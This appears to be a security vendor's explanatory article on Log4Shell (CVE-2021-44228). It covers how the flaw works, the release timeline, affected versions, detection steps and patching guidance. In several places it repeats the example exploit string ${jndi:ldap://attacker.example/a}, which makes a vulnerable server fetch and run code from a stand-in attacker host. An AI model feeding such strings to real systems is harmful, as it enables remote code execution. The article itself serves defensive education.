Log4Shell is the nickname for CVE-2021-44228, a critical remote code execution flaw in Apache Log4j 2. An attacker who can get a crafted string such as ${jndi:ldap://attacker.example/a} into a log message can make the application fetch and run malicious Java code from a server they control, without logging in. It scored 10.0, the maximum CVSS score.
Key takeaways
- Log4Shell is CVE-2021-44228, a remote code execution flaw in Apache Log4j 2 versions 2.0-beta9 through 2.14.1, scored CVSS 10.0.
- A single logged string could trigger it, so any input your app logs was a possible entry point.
- The fix is to update Log4j to 2.17.1 or later, find every copy in your software, and check for signs of compromise.
In December 2021, a player could type a short string into a game chat and run code on the server behind it. That string exploited Log4Shell, a flaw in one of the most widely used Java libraries on the internet — and it turned a logging bug into a global emergency.
What is Log4Shell?
Log4Shell is the nickname for CVE-2021-44228, a critical remote code execution flaw in Apache Log4j 2. An unauthenticated attacker who can get a crafted string into a log message can make the application download and run malicious Java code from a server they control.
Log4j is a Java logging library maintained by the Apache Software Foundation. Applications use it to record events: logins, errors, requests and transactions. Because so many Java applications, websites and devices use Log4j, one flaw in the library affected thousands of products at once.
The US National Vulnerability Database scored CVE-2021-44228 at 10.0, the maximum on the CVSS scale. CISA described it as a critical remote code execution vulnerability affecting Log4j versions 2.0-beta9 to 2.14.1, and added it to its Known Exploited Vulnerabilities catalog.
How does Log4Shell work?
Log4Shell works because affected versions of Log4j treated log messages as something to interpret, not just record. When a log message contained a lookup expression such as ${jndi:ldap://attacker.example/a}, Log4j expanded it and contacted the named server.
The chain has five links. First, the attacker supplies input the application will log — a username, a User-Agent header, a filename or a chat message. Second, the application writes that value through Log4j. Third, Log4j expands the ${jndi:...} expression instead of writing it literally.
Fourth, JNDI — the Java Naming and Directory Interface — contacts the LDAP or RMI endpoint named in the string. Fifth, the application loads and runs the Java class returned by that server, with the privileges of the Java process. That is full remote code execution.
Attackers quickly learned to obfuscate the string, for example by splitting it or encoding parts of it, so a firewall rule that matched only the exact text ${jndi:ldap:// aged badly. The joint CISA advisory warned that actors were adopting increasingly sophisticated obfuscation techniques.
Why was Log4Shell so serious?
Log4Shell combined three dangerous traits: it was easy to exploit, it needed no login, and the vulnerable library was everywhere. An attacker did not need a password, a special account or a complex exploit chain.
Log4j is embedded in enterprise software, websites, cloud services and operational technology products. Many organizations did not know where Log4j lived in their own systems, because it arrived bundled inside other products. CISA noted that vendors had to apply the update in their products before users could be protected.
Exploitation began almost immediately after disclosure. CISA added CVE-2021-44228 to the Known Exploited Vulnerabilities catalog, and on 17 December 2021 issued Emergency Directive 22-02 ordering US federal civilian agencies to mitigate the Log4j vulnerabilities on a tight deadline.
Real attacks followed. In a 2022 joint advisory, CISA and the US Coast Guard Cyber Command reported that threat actors, including state-sponsored ones, exploited Log4Shell on unpatched, public-facing VMware Horizon and Unified Access Gateway servers, implanted loader malware, moved laterally and exfiltrated sensitive data. CISA published the full guidance in its Apache Log4j vulnerability guidance.
What is the Log4Shell timeline?
The flaw was reported to Apache by Chen Zhaojun of the Alibaba Cloud Security Team, disclosed publicly on 9 December 2021, and published in the NVD on 10 December 2021. Apache released Log4j 2.15.0 as the first fix, then further releases for related flaws.
| CVE | Issue | Fixed in |
|---|---|---|
| CVE-2021-44228 (Log4Shell) | JNDI remote code execution, CVSS 10.0 | 2.15.0 (mitigated by default) |
| CVE-2021-45046 | Denial of service and incomplete fix in 2.15.0 | 2.16.0 |
| CVE-2021-45105 | Denial of service in 2.16.0 | 2.17.0 |
| CVE-2021-44832 | Remote code execution via crafted configuration | 2.17.1 |
That sequence is why the safe advice is to use Log4j 2.17.1 or later, not just 2.15.0. Each early fix closed the main hole but left a related weakness. If you are still on a 2.15 or 2.16 release, update again.
Log4j 1.x is a separate, older line and is not affected by CVE-2021-44228 in the same way, but it is end-of-life and has its own known flaws. Do not treat staying on Log4j 1.x as a fix.
Who was affected by Log4Shell?
Any organization running Java software that bundled Log4j 2.0-beta9 through 2.14.1 could be affected, including software you did not write yourself. That is what made the response so hard: the vulnerable code was often two or three layers deep inside a vendor product.
Public reports in December 2021 named a wide range of affected products and services, from cloud platforms and games such as Minecraft to enterprise software and network appliances. The practical lesson is that you cannot answer the question from memory — you need an inventory.
Small businesses were not exempt. If you run a Java-based website, a customer portal, an accounting system or a device with a web interface, one of those components may have bundled Log4j. Check with each vendor rather than assuming a small deployment is safe.
How do I check if I am vulnerable to Log4Shell?
Start with an inventory, then test. Guessing which systems use Java is not enough, because Log4j is often a hidden dependency.
- List every Java application you run, including vendor products, appliances and cloud services. Ask each vendor which Log4j version it bundles.
- Search your file systems for log4j-core files and check their versions. Include backups, containers and test environments.
- Check your software bill of materials if you have one, or ask your developers for a dependency list.
- Review logs for JNDI strings, unusual LDAP or RMI connections, and unexpected outbound traffic from Java processes.
- Look for signs of compromise: new accounts, unfamiliar scheduled tasks, new processes, and files in unexpected places.
CISA's guidance told organizations to enumerate external-facing devices that have Log4j, make sure their security operations team was alerting on those devices, and install a web application firewall with rules that update automatically. Those steps still apply as a starting point.
If you find a vulnerable version, do not only patch the server you found first. Search for every copy, including the one in a forgotten test server or an old container image. Attackers scan for the easiest target, not the most important one.
How do you fix Log4Shell?
Update Log4j to 2.17.1 or later, and update every product that bundles it. That is the only complete fix. Workarounds bought time in December 2021, but they are not a substitute for patching today.
If you cannot patch immediately, the mitigations CISA published in December 2021 included setting the system property log4j2.formatMsgNoLookups to true, removing the JndiLookup class from the Log4j jar, and blocking outbound LDAP and RMI traffic at the firewall. Treat these as temporary measures only.
After patching, hunt for compromise. Patching stops new exploitation, but it does not remove malware or backdoors that were already planted. If you find evidence of exploitation, assume the attacker had access and follow your incident response plan. Our guide to an IT security audit explains how to review controls and evidence after an incident.
Keep a software bill of materials for your applications, so the next time a widely used library has a flaw, you can answer in minutes — not weeks — whether you are affected. You can also check your public website's basic security posture with our free security headers checker.
Is Log4Shell the same as Log4j?
No. Log4j is the library, and Log4Shell is one vulnerability in it. That distinction matters, because the fix is not to stop logging — it is to update the library and keep it updated.
Log4j remains widely used and actively maintained. The lesson of Log4Shell is not that logging libraries are unsafe, but that a single shared component can become a single point of failure for the whole internet when it has a serious flaw.
The same lesson applies to other shared libraries. If your team depends on open-source components, you need a process for tracking them, testing updates and applying security patches quickly. That process is part of a mature security audit program.
The bottom line
Log4Shell showed how a flaw in one library could put thousands of organizations at risk at once. It was easy to exploit, needed no login, and hid inside products most teams had never inventoried.
If you run Java software, check today which Log4j version it uses, update to 2.17.1 or later, and keep an inventory so the next library flaw does not catch you unprepared. You can start by checking your site's exposed services with the free SSL checker.
Frequently asked questions
What is Log4Shell in simple terms?
Log4Shell is a flaw in a popular Java logging library, Apache Log4j 2. It let an attacker run their own code on a server just by getting a specially crafted string into a log message, for example through a username, a chat message or a web request header.
What is the difference between Log4j and Log4Shell?
Log4j is the name of the logging library. Log4Shell is the nickname for one specific vulnerability in it, CVE-2021-44228. Log4j itself is legitimate software used by millions of applications.
Which versions of Log4j are vulnerable to Log4Shell?
Apache Log4j 2 versions 2.0-beta9 through 2.14.1 are vulnerable to CVE-2021-44228, according to CISA. The first fix was version 2.15.0, but later fixes addressed related flaws, so you should use 2.17.1 or later.
Is Log4Shell still a risk in 2026?
Yes, for unpatched systems. Log4Shell remains in CISA's Known Exploited Vulnerabilities catalog, and old copies of Log4j still turn up inside applications, appliances and vendor products. Patching the library you know about is not enough; you must find every copy.
How do I know if my system was affected by Log4Shell?
Inventory every Java application and check which Log4j version it bundles, including libraries inside vendor products. Then search logs for JNDI strings and check for unexpected outbound connections, new accounts and unfamiliar processes. If in doubt, treat the system as compromised and investigate.
What is the Log4Shell exploit string?
The classic example is ${jndi:ldap://attacker.example/a}. When Log4j logged that text, it expanded the JNDI lookup, contacted the attacker's LDAP server and loaded remote Java code. Attackers used many obfuscated variants, so blocking only that exact string was never enough.
Who discovered Log4Shell?
Log4Shell was reported to Apache by Chen Zhaojun of the Alibaba Cloud Security Team. It was disclosed publicly on 9 December 2021, and the NVD record was published on 10 December 2021.
Sources
The engineers and analysts who build Cysoro's domain scanner, email-authentication checks and free security tools. We test what we write about every day — SPF, DKIM, DMARC, certificates, look-alike domains and phishing — and check each guide against the relevant standards, government guidance and vendor documentation.
Checked against CISA Log4j guidance, the Apache Log4j security page and the NVD record for CVE-2021-44228.
How we write and fact-check →